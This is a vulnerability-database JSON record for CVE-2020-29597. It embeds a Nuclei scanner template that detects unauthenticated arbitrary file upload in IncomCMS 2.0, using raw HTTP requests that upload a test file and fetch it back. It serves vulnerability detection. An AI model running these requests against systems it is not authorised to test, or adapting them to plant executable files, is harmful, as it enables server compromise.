{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-29597/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-29597/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-29597/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-29597/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-29597/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-29597"},"sightings":{"href":"/api/v1/sightings/cve-2020-29597"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-29597.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-29597\n\ninfo:\n  name: IncomCMS 2.0 - Arbitrary File Upload\n  author: princechaddha\n  severity: critical\n  description: |\n    IncomCMS 2.0 has a an insecure file upload vulnerability in modules/uploader/showcase/script.php. This allows unauthenticated attackers to upload files into the server.\n  impact: |\n    Successful exploitation of this vulnerability can result in unauthorized access, data leakage, and potential remote code execution.\n  remediation: |\n    Apply the latest security patch or update to a version that addresses the vulnerability.\n  reference:\n    - https://github.com/Trhackno/CVE-2020-29597\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-29597\n    - https://github.com/M4DM0e/m4dm0e.github.io/blob/gh-pages/_posts/2020-12-07-incom-insecure-up.md\n    - https://m4dm0e.github.io/2020/12/07/incom-insecure-up.html\n    - https://github.com/trhacknon/CVE-2020-29597\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-29597\n    cwe-id: CWE-434\n    epss-score: 0.71006\n    epss-percentile: 0.99375\n    cpe: cpe:2.3:a:incomcms_project:incomcms:2.0:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: incomcms_project\n    product: incomcms\n  tags: cve,cve2020,incomcms,fileupload,intrusive,incomcms_project,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /incom/modules/uploader/showcase/script.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBEJZt0IK73M2mAbt\n\n        ------WebKitFormBoundaryBEJZt0IK73M2mAbt\n        Content-Disposition: form-data; name=\"Filedata\"; filename=\"{{randstr_1}}.png\"\n        Content-Type: text/html\n\n        {{randstr_2}}\n        ------WebKitFormBoundaryBEJZt0IK73M2mAbt--\n      - |\n        GET /upload/userfiles/image/{{randstr_1}}.png HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_1\n        words:\n          - '{\"status\":\"1\",\"name\":\"{{randstr_1}}.png\"}'\n\n      - type: word\n        part: body_2\n        words:\n          - '{{randstr_2}}'\n# digest: 490a0046304402207b686787dc59ba23eb8492d18db5da5f12fecc539807a5d955c89766a468b8250220272616bd42bffb2d01cbb391f720c1903de0508cdfe08629fdd8c0dc0210c33c:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-29597"}